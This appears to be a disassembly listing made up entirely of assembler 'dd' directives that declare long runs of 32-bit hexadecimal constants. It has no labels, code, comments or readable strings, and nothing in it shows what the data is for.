		dd 0CC1FB129h, 745FB444h, 31B256ACh, 0E912A2C4h, 30CCACFCh
		dd 61D641AAh, 738678C2h, 7B30DC0Fh, 0AA32E40Dh,	1328BB88h
		dd 0FB337AA6h, 40BC5817h, 0D9F18377h, 5FCC9303h, 4CF14827h
		dd 6C2812C6h, 4E81784h,	0FDC05350h, 7D5B6E19h, 0DD6AB522h
		dd 238B8200h, 0CEA40AB1h, 7C0E8027h, 12FE628Fh,	3E330500h
		dd 38597ABAh, 0AB5B0CDBh, 0CB4EDC61h, 6EF25781h, 6C21E43Ch
		dd 3A824FBAh, 5EFC49A8h, 1118F6Eh, 47685052h, 0FF418D0Fh
		dd 0DA74335h, 0D6016DC0h, 432659B3h, 5A009626h,	0B9792048h
		dd 0F5E414F8h, 891FA0FBh, 17E0B4Ah, 880A670h, 0E095495Fh
		dd 655DA7Bh, 0C6E90B65h, 0C10E8F1Fh, 52F97051h,	0BFF2C916h
		dd 7B5751A2h, 51E9C20Bh, 0DD4C20DDh, 0BF0A2560h, 4BE020B3h
		dd 0F50ADA9Fh, 45C52BE9h, 0D4173601h, 60DA0113h, 3F456F5Dh
		dd 0CE0257CFh, 4FAF0341h, 0F7BE60D5h, 73E927DEh, 0AD7207E2h
		dd 89A6BF2h, 12178BFh, 7569283Bh, 2904EBC1h, 1EE9C26Eh
		dd 1F466519h, 0D12E0C57h, 50BC295h, 0F5140601h,	37686C81h
		dd 579A6E74h, 0AEEBC54Ah, 0F94CFF8Fh, 521AE880h, 0E20C8140h
		dd 0E46C6DECh, 19B109EAh, 20224876h, 90D50B8Ch,	81292F41h
		dd 0B12C7E57h, 0C16B4002h
		dd 17E0E65Ch, 0E7CEF84Fh, 1DFFBB02h, 4BE03827h,	370F095Fh
		dd 1CEB015Eh, 5D5F08A8h, 293986B8h, 50EF688Ah, 0AF04BC7Ah
		dd 85128D76h, 6A8407E7h, 0A75FB91Fh, 0AB407BD2h, 80C82937h
		dd 3FE1D78Fh, 0B9A4E7FCh, 345B1207h, 75C5B9FCh,	533841EBh
		dd 2C43B368h, 4AE4C096h, 0F2D38CCh, 0D92FCEEBh,	1DCCAAB2h
		dd 9FA5BF53h, 6A63A166h, 698452A6h, 814300C9h, 147F51CBh
		dd 914B0917h, 1680261Ch, 0D0101F4h, 2F2A3632h, 8139894h
		dd 74678605h, 0E5660AAh, 9FB0502Dh, 6D825E4Bh, 4979825Ch
		dd 0E77157FDh, 116B3C0Bh, 43A19B6h, 0EF5D593Eh,	8DF4A88Dh
		dd 6A669DF8h, 0B22EB71Dh, 5BFA2880h, 4A5AD430h,	3A18BE50h
		dd 8AF4F24Ch, 5F1A6456h, 4AA0253h, 0F1224C58h, 0EE03BD3Dh
		dd 196D2BB1h, 2A5A31D9h, 9BAB7E56h, 0DFFC4E2Bh,	7A32E1D3h
		dd 960B7404h, 0D974C3EEh, 7F11EBE9h, 1A0D6680h,	0E2DECF7h
		dd 2B1556E2h, 136C61A0h, 1F05052Ah, 3153F4B3h, 0BB006BE8h
		dd 1CD324A7h, 430EE381h, 0C3308A2Ah, 9A6D70F3h,	2C6B6161h
		dd 34E0293Fh, 0E85BFF4Ch, 0C4C162ECh, 256B0A29h, 8E070562h
		dd 0BEF1784h, 0D40AA9Dh, 0F3D31D4Ah, 8409E22h, 0F60D37E9h
		dd 30D23326h, 8DA26D7h,	11CB8003h, 8426B050h, 40085FAh
		dd 0BEF86F5h, 0A90D38B9h, 40C0131Ah, 0E96DA058h, 0FAEE4A2Fh
		dd 0C8F920D5h, 5BDD2100h, 0C0026856h, 5AF77E75h, 62DEB9D2h
		dd 0BE3DA2Ah, 39AD835Dh, 7D688B33h, 1C66170Ch, 0B3AD0123h
		dd 0F21FC702h, 78DDCB80h, 0CABD2DE4h, 2D4570B6h, 173C83Eh
		dd 42DA1ACh, 0A1F72CF7h, 0F355F7Dh, 0D9F45A81h,	0E46BE741h
		dd 881CB52Fh, 0F31659CEh, 5618CCB2h, 0E6849ACh,	188D360Fh
		dd 399B845Eh, 41C75FABh, 7F650784h, 421BF45Dh, 147EA0A8h
		dd 492FA212h, 915EC7BFh, 2FD05DEBh, 40D78CB0h, 32B809DFh
		dd 7E12A698h, 1F059958h, 0D6F3D442h, 58D6CC10h,	0CBCAC4D5h
		dd 0EF9D74FAh, 5D0FA688h, 513B40B5h, 568C1392h,	3F7AC40h
		dd 3F0573E3h, 0BFA1F103h, 3DFC84C3h, 3748F9B2h,	172F2EBFh
		dd 0C106626Fh, 0F73A0795h, 6C680941h, 401BF96Dh, 31D33A6Eh
		dd 35021B92h, 0E99D3704h, 85BF8E01h, 0EEC809BBh, 0F18B625Eh
		dd 7B59138Ch, 0E3FB5CC4h, 52CC962Fh, 0B1C25109h, 603AE625h
		dd 224C6827h, 4809C893h, 0E2607EAFh, 0F27DC231h, 59542EB6h
		dd 40E95844h, 68CC3154h, 8109531h, 0F6447F39h, 0C8285691h
		dd 15D3823Fh, 2B92E9E1h, 0B6D0FACCh, 1E531203h,	68162036h
		dd 0D8A3157Ch, 30051377h, 137A0026h, 295E1B3Ch,	69D0EE4Ch
		dd 7948FDBBh, 927DF180h, 1ABE3D35h, 0D17B919Dh,	9217B61Ah
		dd 14AEC3C9h, 0D801C120h, 0E9405E31h, 34133ED3h, 1484FB90h
		dd 0AC754F94h, 0B419851Eh, 301439BBh, 512455BEh, 0E10CF85Dh
		dd 90E3CD89h, 2D2B416Ch, 5F5D1EDDh, 13961FD5h, 1309F788h
		dd 0A0F00628h, 0A084B7C3h, 5E2CEB50h, 612E1E6Eh, 20F02C3Bh
		dd 0BD585EDAh, 79B181D7h, 0DD384478h, 0CB63947Bh, 0EE06520Ch
		dd 0D0D10239h, 0E7413AC4h, 72D6A02Ah, 0F847104Fh, 19850CB0h
		dd 0D27ADF11h, 21039301h, 6D20341Ch, 0F8CD4FF4h, 0D54E3ABh
		dd 6EBE985h, 7A52AD5Fh,	2D83A45Eh, 19D4CE8Eh, 4BF64463h
		dd 0FE96B06Fh, 75067F24h, 1061210Bh, 3D25EE0Ch,	96B44408h
		dd 0E8028417h, 302F5075h, 0D7320A4Fh, 3A7D00Dh,	0DF50A6BFh
		dd 5FCA317Eh, 214B7179h, 644168E9h, 0E0C16D6Ch,	6F4E9536h
		dd 46E22F81h, 26BF8A2Fh, 0EF123DD7h, 6B428DEEh,	0D84BFBEDh
		dd 0C338809Ah, 0F2EB3AF9h, 0A74AE9EAh, 60CCCDC6h, 642D4790h
		dd 8B17DC25h, 87A0C721h, 0FA5E029Ch, 9055E90Dh,	5D524554h
		dd 0E91CD4CEh, 0FC6D0157h, 58514261h, 0C54A5D29h, 789746F2h
		dd 0BCDB072h, 19072561h, 0B718B700h, 0E0C0FC76h, 43C44C8Dh
		dd 2F8A24E9h, 2DE88176h, 6ABC1B86h, 5482FC2h, 6D910051h
		dd 8127974Bh, 2667E23Bh, 0EA003549h, 0EBBFE5A3h, 5AD12F89h
		dd 0FF6228DAh, 0C3DCE903h, 76AF84F7h, 29DAC3Ah,	40D08886h
		dd 3E8C0A7h, 0B2526603h, 6FDF2057h, 1F76109Ah, 0E9DE8882h
		dd 3A7FF075h, 0EBBFC1B5h, 0F07C59ADh, 0B7BB56C4h, 0BA95AAh
		dd 73260C02h, 2C4305BAh, 3EC492D7h, 46E36789h, 5E25B9D5h
		dd 86AA13Ah, 5A3EEA21h,	20E90BF8h, 104CC84Ch, 0F6390909h
		dd 0B10EC631h, 501DDC8h, 5DD43829h, 0ACD39A72h,	58C2F4D7h
		dd 0E964A167h, 97A0E141h, 0A9495FB9h, 0D2A38457h, 87C45B0Eh
		dd 0D64DD2CFh, 3E935C4Eh, 954F8C80h, 99EE310Dh,	2900691Ah
		dd 7A456CF6h, 0F8C6ABFh, 0B27CA508h, 441039B9h,	68185006h
		dd 89CD663Ah, 842BCA81h, 1E806FC6h, 6F9C43A4h, 23810C41h
		dd 70504E8Bh, 0EAB7FBD3h, 5705C10Fh, 29B62D00h,	8768A93Ah
		dd 736AA6B2h, 274145F3h, 3C77C62Dh, 0D15627BCh,	9F799077h
		dd 9D5BC258h, 16E0BC41h, 0D2070DD0h, 350B757Bh,	890C7F42h
		dd 1CEFBAAh, 0BC31FB05h, 2DD0F473h, 3B5A07A1h, 9F7C15F3h
		dd 0BB53B048h, 4E2F741Eh, 0E8CBE909h, 7E31EA1Fh, 5B7B7B1Eh
		dd 124C168Bh, 0C73CFE0Ah, 1F227E9h, 56264D71h, 8AB45F3Dh
		dd 3C461EEAh, 25D1D64Fh, 0A84EFE08h, 38862436h,	49A45C3h
		dd 0FA4DC37Fh, 7CE81F3h, 0CB1024AEh, 572202B7h,	8E5C07ABh
		dd 3D2C39E9h, 34B8E51Ah, 49A676E3h, 0E0A4DACh, 12754C19h
		dd 2ADD4AE5h, 72CC7840h, 0CA2AC079h, 2B852FC9h,	2509D7B0h
		dd 0A9841AD0h, 0E8F9F9BBh, 0AE985EEh, 0CA21AB8Ch, 46390166h
		dd 7C418425h, 0F4B03B59h, 3EE28333h, 451332DEh,	3FE73F01h
		dd 0C16B4279h, 70D5F75Bh, 11B1B0BDh, 0B1516682h, 52CA762Dh
		dd 0F6938102h, 19018790h, 64F154ABh, 694E64C5h,	4A36485Ch
		dd 0B2D2CF0h, 419F09DCh, 79988D5h, 5B14D03Ah, 0CA207F90h
		dd 68572793h, 5512ACDCh, 49831FABh, 0D482E021h,	165AF53Fh
		dd 2A2B610Ch, 2EDD80Eh,	0E941F818h, 0C27AD7DFh,	0CA7D1716h
		dd 0A1A8AF04h, 0F9C40BACh, 284A1443h, 0A10F29E7h, 65476A58h
		dd 6195D502h, 0A1995A9h, 0FD4612D4h, 5B3F6C7Dh,	4CCF61B8h
		dd 0DD77EBF3h, 25962B2h, 9CFCE689h, 68EE8160h, 0A5084835h
		dd 3C12E948h, 841EB282h, 0EB16AE7Ch, 0D2CD1691h, 2885B22Fh
		dd 7BC0BC55h, 105CF4BDh, 1BE0413h, 0C15FB37Eh, 2406E967h
		dd 8DEC529Eh, 762770BEh, 0FA59E9A5h, 0B76CF0A5h, 9962D07Ch
		dd 683C90E0h, 5C6E138Fh, 4D972C39h, 0DDE42D90h,	572AF4C1h
		dd 0B02A62F4h, 76C14369h, 64EF5BD6h, 0D9B3D3DBh, 1B823447h
		dd 959849F7h, 89A1C15Dh, 0CA2EE421h, 107E1008h,	4AF27E7Ch
		dd 9361B7D3h, 54132EB2h, 3572E65Fh, 2E0CC1EFh, 0E4D855BAh
		dd 8152B8C5h, 870105C1h, 405A70EBh, 36690426h, 0BC80F612h
		dd 9655FC68h, 9F8C6352h, 0F3A9105Eh, 2D9201D2h,	7B740132h
		dd 5EAE51B4h, 4162CDBBh, 2C4EB0B5h, 88B80044h, 0C1805BF9h
		dd 96ADB8AEh, 0CAD09D0Fh, 2863CDD6h, 0E4B6541h,	0A109EA31h
		dd 0C0ECFDD8h, 0BB4A08B1h, 31E2DE08h, 3658C232h, 40C8416Eh
		dd 562C65ADh, 0AF7E916h, 0C60331A9h, 4D47C454h,	4F0F3E1h
		dd 44C3D0AEh, 7876A523h, 2926CF7Dh, 2B08F4A7h, 0AD5916F1h
		dd 0FE8BC512h, 2F4D0ED0h, 29DD0A47h, 9E58C7h, 0D6152AAEh
		dd 0CA5CE2E9h, 0B0A3D33Ch, 30154748h, 0CA406D82h, 385FC42Eh
		dd 72E2EBC8h, 5843CA04h, 6409FB6Dh, 7031D847h, 20C4905Ah
		dd 524EA876h, 2F10D5A8h
		dd 0E8301FFBh, 62E0A6D3h, 2B8609B8h, 647C6B5Bh,	0A51A5625h
		dd 911CED50h, 5B3FA652h, 4A95E3D0h, 1453C94h, 84040C8h
		dd 0C4D8BD29h, 5A8A152Dh, 51E72406h, 623ACFC7h,	4FA48440h
		dd 4652CC36h, 59088156h, 0B3CEBC3Fh, 12BEA234h,	0A156DB0Bh
		dd 4D0CE986h, 0E518D6F9h, 0A8882528h, 0AD90FAF0h, 4B019895h
		dd 13C988A9h, 7CE53A7Ch, 4F137111h, 16FF7ACEh, 13EF8051h
		dd 93BC4F6h, 0C4B6FBCDh, 8B8C692h, 5A75E24h, 0C44A85EFh
		dd 6CD8EF70h, 88C75C89h, 0FA5D3128h, 921598FFh,	6054FC09h
		dd 47EE1D60h, 2C760942h, 3144C600h, 0CE012746h,	0E76C6BE9h
		dd 7896A741h, 7A95C517h, 51506F41h, 5AF01AB5h, 109B17Bh
		dd 476C65A2h, 0A07E614Eh, 11018B4Dh, 814FB312h,	0D8B15F7h
		dd 0FA79FE01h, 72715812h, 783E9B5Ah, 9540D1D5h,	0DFB60552h
		dd 87C5C680h, 2E45DD21h, 47429005h, 29F34302h, 2861F56Ch
		dd 0D0C12411h, 272D4003h, 0EABE1B8Ch, 5A09FD7Ah, 0A57B4755h
		dd 96F72E89h, 4B5F9106h, 5A175759h, 0B8655812h,	70FA3B13h
		dd 5F68588Ch, 36F8265Bh, 9B4551CDh, 829B1BCAh, 26797DD8h
		dd 0E9B5B060h, 772B65FEh, 0DACB0153h, 207B7F2Dh, 1DE8D9A5h
		dd 0F29F0971h, 8A8909B7h, 8055A734h, 1C38356h, 0E14B4C43h
		dd 0F050E917h, 144F6821h, 0EA850F91h, 60FA0101h, 58006459h
		dd 0E3814271h, 71C5577Bh, 85D1BD4Bh, 334F3E02h,	261DD658h
		dd 597300D9h, 7E681C3Bh, 0FA573762h, 0C2480CF6h, 6F642613h
		dd 4237550Bh, 66457FBEh, 54902C9h, 436ED501h, 5CE2142Fh
		dd 0D4EDCFE9h, 0FCEC2073h, 3FE94565h, 880C30FFh, 0E3E653DCh
		dd 63B0D9EAh, 9857D240h, 779B063Ah, 0E56412Ch, 0BA717309h
		dd 0D12B051Dh, 0F13EC180h, 0E9B00992h, 30DFFE17h, 0BAADB3CFh
		dd 84EA056h, 0B515F06Fh, 0B22695E0h, 5BCC7782h,	0DB1781BDh
		dd 0D825D04h, 13E9458Fh, 0BD02E3FEh, 40207C99h,	0BFD933DFh
		dd 60257945h, 800EC9FCh, 0B155B9E9h, 0BAF07E87h, 527AB4DFh
		dd 68179358h, 0E0F64223h, 0A011E909h, 540B9DD2h, 5507E6B6h
		dd 0AC50CF24h, 0D7F614E7h, 5B124AC0h, 5D643412h, 68F03CABh
		dd 0A71C5C26h, 20FC80C2h, 2040DC1h, 0CDA0844Eh,	68EC409Bh
		dd 3027FE25h, 0AB15F1C1h, 57966909h, 0B5E70180h, 54B5F56Bh
		dd 98EB1CFBh, 49E908DDh, 5244914Eh, 2AB9DB32h, 189505C0h
		dd 1DB867C1h, 0DBA1682Dh, 0DAE70C19h, 145EA35h,	0C0F3ADECh
		dd 24B4BF0Ah, 510144F7h, 13326855h, 0D53008F5h,	39FB5F92h
		dd 252F38AFh, 0B0BEDD01h, 12C82129h, 0B31BC825h, 8EA9B57h
		dd 5100A927h, 0D27E1668h, 58FB037h, 296CA3C9h, 3EB7010Ch
		dd 6079405Fh, 0F813775Dh, 83AFE4EAh, 58F0C574h,	150744Bh
		dd 0B84A469Ch, 3901982Dh, 0FE03BA7Eh, 0AB6374F7h, 0E62EA98Dh
		dd 4DF405CAh, 8F804BA4h, 60DA26A2h, 0D8B08E1Ch,	48B7D135h
		dd 0B0271426h, 69269827h, 87825D83h, 82796A0Eh,	64BD8589h
		dd 0B40EA06Ah, 0B4994C6h, 9C592276h, 0A6325885h, 0C7F2B2BAh
		dd 0AAD0880Dh, 27E356Bh, 0E90F165Eh, 9BEBE643h,	0BBCA24B7h
		dd 0C607B4E5h, 3F723A3h, 6C492D3Eh, 0F2D21C48h,	0D19D82D8h
		dd 2C53EB9Ch, 4AC2F025h, 4377EBF0h, 0B612CBE5h,	0BA2057BAh
		dd 60719960h, 5405BF07h, 0DD0EF03h, 16FD19E7h, 0D7D3015Eh
		dd 3229E5D9h, 0F8575D91h, 6EF9B782h, 0F5C811C2h, 0E7481653h
		dd 78BF68C1h, 1583312Bh, 0EB6DA8h, 76452D26h, 182FCD81h
		dd 0C220519h, 1B3E103Fh, 45ED0269h, 0FD7F5FC8h,	4111C5C8h
		dd 98C96497h, 1570F73h,	9DC43B3Dh, 0B988AB40h, 0B8FB4078h
		dd 2D2D7FFEh, 0C329DD38h, 6802D5D6h, 0E0F6C8D3h, 0F25C9BB1h
		dd 4563BF35h, 0B97509Dh, 0BE13F358h, 5769BFDDh,	2EE90608h
		dd 403F6EDEh, 11EA5B8Bh, 0BA0D519Dh, 0CAFCCF62h, 0FE29A682h
		dd 561FB87Fh, 0CB1A0BC9h, 5A05F001h, 35CBF4F4h,	0C9B72D74h
		dd 70BE5554h, 8378E35Bh, 0C271F02Dh, 0D97D4078h, 3A149D51h
		dd 0DCC7012Fh, 0AA79C561h, 36C45990h, 4E4D7AD8h, 0FB2584F4h
		dd 2C85FCAh, 0B729F5A7h, 4A79B978h, 0F9885E27h,	9E56694Dh
		dd 0DBAB86C7h, 0BE54AFBBh, 0C740E424h, 0B7B44013h, 880B3CF9h
		dd 0BAB5322h, 0F510FCDFh, 0C4B70A52h, 6C68191Eh, 3B13A51Bh
		dd 3EF66040h, 97CCC2BBh, 6601B143h, 395D22D9h, 48C968FDh
		dd 92C0137Ch, 0E94C8E7Dh, 2ADBBA26h, 0F1144089h, 0F30F8BAFh
		dd 83162314h, 3E9202C2h, 41967D90h, 5C8189ECh, 161A8B2Fh
		dd 2DEA6355h, 1870F411h, 0C4764C95h, 0E8C783CDh, 7BC110C0h
		dd 3185BD03h, 0C59A6EBEh, 2496F2F5h, 40F581h, 0E829ADEDh
		dd 1AFE5E5Dh, 0BD44FB5Fh, 36EE90D7h, 22028236h,	112F06Dh
		dd 47FC2CAh, 0B0FB5908h, 0AA9E35C9h, 247F4D27h,	167ACA1Eh
		dd 0FF2A25C5h, 0B70E4886h, 0E912D6h, 9437698h, 0FD80A149h
		dd 8EAB287Bh, 87A32F5Bh, 985F0D40h, 4B4A0222h, 0F5290801h
		dd 3B297C1h, 452CF8BBh,	0F8089854h, 0EEF5CC4h, 0B4E53F84h
		dd 18481799h, 0F688DFBFh, 84BD01A9h, 7A787306h,	0FF4BECE8h
		dd 4948742Eh, 0A41AD604h, 3DF4E830h, 0D84E892Dh, 0F188FD34h
		dd 14D03A07h, 0C437A22Dh, 59D3BE10h, 2517275Ah,	8D180978h
		dd 0A63BA2E3h, 253A94F2h, 0CE6CFEF5h, 0E58A3888h, 3389B50Fh
		dd 8265661Eh, 0E9A78036h, 98D0407Ch, 1B0F6C7Eh,	51952DD0h
		dd 0A5210D1Bh, 29142C19h, 694F9381h, 1324DEDDh,	2DCBAF5Ch
		dd 6AD2E90Bh, 3AD56A1Ah, 18B64C22h, 594C9F68h, 8080EE85h
		dd 26F378EAh, 63565464h, 0C3E9E0B1h, 0FDCBC193h, 4F6E283Ah
		dd 5FFEA994h, 0E0D5497Eh, 82C45627h, 0C2D7672Eh, 68A09053h
		dd 0E89FC5EAh, 7B6FF904h, 53B6B85Ah, 0E796563Dh, 0E15A52D4h
		dd 4082BAEFh, 0EA4CD666h, 0B05F674Ah, 0FA38D302h, 72988016h
		dd 0B511886Ah, 8837672h, 7141C41h, 0B83124C5h, 9F918468h
		dd 3B9A0412h, 5771BE85h, 0D93AF756h, 452D2A79h,	0C0963E92h
		dd 2F0DBB9Ah, 126BCE3Dh, 0A5B29301h, 188BBB97h,	0FE075615h
		dd 3B53F20Fh, 1F0C38ACh, 0F6DE9717h, 18907FFh, 9E41BEC5h
		dd 825BBE7Ch, 0D632970Ch, 0C9F9FB42h, 0ABB58982h, 73500209h
		dd 0C65905D5h, 3D902DD2h, 2F13124Bh, 0E9B0BFE9h, 33DAD993h
		dd 0C685DC98h, 2CA0E6E6h, 0F62FCACDh, 489266DDh, 4A7075B3h
		dd 808A29DEh, 0CF685020h, 981EE235h, 4EC75E38h,	49DEB9BBh
		dd 841660A6h, 0D337B85Ch, 34308DC7h, 9F4A6D63h,	6C50650h
		dd 0AAB34104h, 0FEA22F7Ch, 662F2164h, 8F9EA209h, 80AD04C8h
		dd 6D5D0BA8h, 0F7817400h, 283067D4h, 26A4172Dh,	5ADB008h
		dd 0F45F07A1h, 2C3A6E69h, 821EBB53h, 0D8013727h, 12681005h
		dd 0D9E34D5Bh, 0B051940h, 8752B3Fh, 0E19E5F02h,	206A525Dh
		dd 0CA0C6EBh, 8E300A69h, 106A0C27h, 38935CA6h, 955FFA20h
		dd 0D275E404h, 0EC7B1316h, 4489B162h, 1B20C324h, 0A8210A41h
		dd 8132B7E1h, 57564F18h, 0B42A5F5Eh, 3503EE41h,	29034E17h
		dd 4B1A7AF0h, 582ABDEBh, 14D13BFCh, 1DD91337h, 6A12596Dh
		dd 644DC90Fh, 7121F75h,	0C5E0B7E9h, 4D57EEEDh, 0A61342FCh
		dd 0A9BC57C8h, 0B4C010C8h, 0AE005F2Dh, 0F7A3F97h, 8995D3B8h
		dd 89C575A9h, 22E04293h, 20E9B0B1h, 6818BAC3h, 77FF05C2h
		dd 67E6BF47h, 306B81E9h, 0C3285BD8h, 39AD5431h,	0DE43097Fh
		dd 4FA20851h, 11A02E2Ah, 10600556h, 8FFEFA2h, 472D3013h
		dd 0B484850Eh, 0F93021FCh
		dd 0E831FE5Fh, 0F324A73h, 0EDCBE9C0h, 68C13D79h, 0AF8827BEh
		dd 5C049039h, 0A3BAC330h, 0BB2E306Ch, 9B066568h, 0E8A7BF59h
		dd 0E8E59E89h, 0D08D9A7h, 87EB3CFAh, 0B06D81Ah,	600C8BEFh
		dd 0FBEEC042h, 847DCE07h, 99F108B1h, 27E9F8FEh,	0D0378798h
		dd 97934DD5h, 5B33A265h, 20A05D9h, 0F0D40582h, 0EC3C56C9h
		dd 0B3C486BCh, 9B122D5h, 47F81C41h, 0FE659AEBh,	0A56B48B4h
		dd 0F58955CEh, 88CDA163h, 0C49D537Fh, 0E7C125C4h, 8008C9DEh
		dd 0ABC983A6h, 67DFFA40h, 6D6C51F1h, 4FD6786Ah,	0CE24CAECh
		dd 0F1F66215h, 27D5C475h, 0C2186FA4h, 6895C4DDh, 84685383h
		dd 902FAF90h, 89865E4h,	290EE150h, 4114EBF1h, 0B67E5FD3h
		dd 27BD817Dh, 3E24F248h, 0FA0F0F61h, 124BE92Fh,	0FA495F74h
		dd 43260027h, 525D475Ah, 514FC688h, 93C412ACh, 0A6B3F83Eh
		dd 3F1A0958h, 63007D39h, 2DD04F3Eh, 0AE0CCFECh,	1817221Eh
		dd 801C5A5Ch, 2E07C7CAh, 9DF0D17h, 83E53B75h, 3DFE6C89h
		dd 62D1DEE3h, 190397Bh,	6B3C23BBh, 2360E5C1h, 0A3B5502Fh
		dd 0F2E0C025h, 4A202D5Bh, 0C2D4DB60h, 3BC9696Ah, 6809297Eh
		dd 0F15E646Ch, 58AF0F68h, 0DD063244h, 1EC5594Eh, 7E144DA4h
		dd 29BFA4CBh, 0DFDF0217h, 0FECA8000h, 0A3B73A53h, 0E7C0CF00h
		dd 52D7F608h, 120EB63Ch, 950E02E6h, 45827DCCh, 48C77BE9h
		dd 0C708E33Fh, 60D10706h, 73CB814Bh, 72B52C2Eh,	0D7A8B913h
		dd 6FD87627h, 278BD4B5h, 979B67C4h, 0FE170325h,	78FE85A1h
		dd 0FD4EE1A8h, 428585F9h, 0EAF7F431h, 386E890Bh, 50A9F87Eh
		dd 27E908C2h, 0C7226CEDh, 9C08657Ah, 0BE47561Eh, 0B8D234A4h
		dd 8EE15D08h, 0FFB457D8h, 6B219FC1h, 0E2C34747h, 835A8AAAh
		dd 10C00248h, 0AD3F012Ah, 9D704FBEh, 212D88B0h,	7DE17512h
		dd 7AD10EEh, 0EF9DE91Eh, 55548B66h, 4F05BE81h, 1196929h
		dd 80E0FD13h, 750BA2EAh, 97893471h, 5273DC5Bh, 1DA05689h
		dd 685EF521h, 2F184224h, 0D9825564h, 0A0CCCBF0h, 0C3285A66h
		dd 382A6808h, 1ECE96FFh, 0D40C3EBCh, 0B2D04E3h,	15D82A3Ah
		dd 2059D05h, 26F5E907h,	0DAC2BBF7h, 2CD1746Ah, 0DD6858C5h
		dd 0FB2DF196h, 6A0B25FBh, 30F01C7Fh, 0EF4FBE69h, 3C241A23h
		dd 0CE076F30h, 181C627Bh, 0DF280289h, 1D7AE929h, 4BE8C4D5h
		dd 0F431875Eh, 0DE3881FDh, 605302BDh, 8272A3F6h, 0D2A9B484h
		dd 0F083B740h, 745BF471h, 556828AFh, 0DA296827h, 6A72200Ch
		dd 7250B5h, 0D079882Dh,	0A054020h, 1FE07B17h, 3041670Bh
		dd 0CC76ECD8h, 0BB4CB910h, 1649227Ah, 10134C74h, 844B6B84h
		dd 4BC3A216h, 86ADBA0h,	21B69A8Ah, 366CC281h, 977A644Ah
		dd 0C01B94BAh, 0D3090DE6h, 0F325B097h, 3BE70BF0h, 3B74E923h
		dd 84F5D97h, 70444949h,	6F091E22h, 6517DC1Ch, 0D4EBF95Bh
		dd 167D69C0h, 893B5963h, 0D001ED48h, 45622D05h,	5374AC1Bh
		dd 68505182h, 90FDD8Fh,	67D8678Eh, 1F1AAFE2h, 40DE439Dh
		dd 1860CAD8h, 0EA3E9062h, 0BF98959Fh, 0CA9FD390h, 0D3E46123h
		dd 0B0E37424h, 800E942Fh, 83E2B5F5h, 9A9E01DEh,	800702Eh
		dd 6859D250h, 4248417Eh, 0B0D721A7h, 3F0B795Fh,	571625A0h
		dd 5834DAF5h, 4A0C20DBh, 250EE85Fh, 53078911h, 0F8CD9C29h
		dd 0D22DBA4Bh, 0C008F37Eh, 62E8B850h, 3401489Dh, 0F4334902h
		dd 43404819h, 92183508h, 44881B91h, 71649FD3h, 6AA4836Fh
		dd 0F6838FB7h, 0ECEE88D5h, 516EFAC0h, 3C4376B1h, 0E1833FC9h
		dd 5E9C0EAh, 93B50C3Ah,	0A941C7A1h, 8FBB050h, 5458B2E3h
		dd 0E2700923h, 0E12D1BD9h, 64D0127Dh, 0D4215B54h, 85C2F836h
		dd 0F78087DFh, 0C20CFF53h, 0DADE933h, 71617E5Eh, 5AC46930h
		dd 1A2D09B8h, 7778ED6Ah, 0D3CB4C2Dh, 3EAC09CAh,	52EED2F6h
		dd 0F7C321EAh, 37BF05AEh, 0E088B43Bh, 0DD0BF696h, 0D7E0B252h
		dd 0CEA6CB8Fh, 801C30B7h, 0F1192DEEh, 6F4616h, 51EAB84Fh
		dd 0F7284C2Fh, 27FBED0h, 19B4AEF2h, 0EC0FC17Ah,	57F30100h
		dd 177FB2C8h, 0F4E9E829h, 5E689BD8h, 234AEF0h, 5FC0D3BBh
		dd 3C41FBCAh, 57226BE2h, 5A06F11Eh, 1FECA504h, 0F8282D43h
		dd 2B64A72Ch, 5ECFA8C3h, 0B773450h, 0AE7EAA8Ch,	0D003076Ah
		dd 0B341B353h, 0F48098B4h, 0CCFE039Dh, 0D3F6DC86h, 0EC07087Bh
		dd 0E78853DBh, 0CA09F32Fh, 0B8016013h, 950900DAh, 4196057Ch
		dd 0F72472D6h, 11783D8h, 82FEFD64h, 0BD6ADB93h,	205B8D6Ch
		dd 2394F0F3h, 90999772h, 6F38D5E9h, 2FF1669Ch, 0C4DE5443h
		dd 38607A02h, 9DBB5003h, 1C0B4B52h, 5067C723h, 0FA281311h
		dd 8977F019h, 0C6E9FD09h, 77ED6AE3h, 6065C4A9h,	0E931D12Fh
		dd 5B9D10F8h, 178DA4BEh, 77150BE4h, 34883D8h, 6CE91C39h
		dd 20D666A7h, 0B02D8733h, 27F37E7Dh, 405BDDEh, 4474C130h
		dd 0E9C254B8h, 0BADF35B9h, 50F15CB6h, 62921CE9h, 4376BF05h
		dd 0B1EB1F73h, 74AEF933h, 570BBA70h, 5E3B5AB6h,	0E2DB398Eh
		dd 2EE4D0DEh, 5A02B902h, 40316F7Fh, 81949E5Ch, 0CB0E8B52h
		dd 9D09B828h, 0ACEB9FA0h, 6AFC1DB9h, 0B99708FCh, 14E1A126h
		dd 69C7E181h, 80E2D12Ah, 0B711CA0Ch, 0B0F93157h, 0C2509F51h
		dd 0EF83D70Dh, 0F7000AFFh, 587F1360h, 9D04404Dh, 1D30636Ch
		dd 1D897A84h, 0AB5804AAh, 4CC81443h, 71045030h,	560C0560h
		dd 97C428E9h, 1E095C51h, 17EAF199h, 7593A45Dh, 228E6B5Bh
		dd 35D5C2Fh, 3D10F1A9h,	76D330D9h, 277D1D4Dh, 38F5BE73h
		dd 9DEDF86Dh, 7CB5A3ECh, 0E05A996Eh, 411EE461h,	8BEAE925h
		dd 878F5DEAh, 0CAC24D04h, 130C5224h, 0B53C67Eh,	28402402h
		dd 0F6C162CBh, 922E0B06h, 7C3F664h, 1018D868h, 69A8F097h
		dd 9EC802ACh, 4D9F815Bh, 7C208B11h, 694495E3h, 8DF31CC0h
		dd 98A6C020h, 7DC169E2h, 4DCA6683h, 8B26EA99h, 7F2CD0A5h
		dd 0B9AAEF43h, 40823C63h, 9DDAFFEAh, 97CD6120h,	6FCE7041h
		dd 174C312Ch, 1DB60Ah, 76673D7Fh, 50BD451Ah, 6D4B798h
		dd 686EBC0Bh, 2E58CF9Fh, 1D641E91h, 0A0E0E89h, 0ACAA9AD8h
		dd 0F2F1EB4Eh, 5968CBCCh, 0E90B5FA4h, 0ABFEBA8Ah, 88EF5665h
		dd 6E13A205h, 0D3F93B2Fh, 6C724E01h, 655CE97Ch,	9C6085EBh
		dd 53AA030Fh, 0C1061692h, 775E5B40h, 8A961055h,	20A8BE00h
		dd 0EE8167FBh, 433DB20Eh, 8DF6C015h, 0C734ED73h, 0C1C8190Ch
		dd 2AF531E3h, 0E3AB99C4h, 82E91681h, 408991EFh,	0B41E28B2h
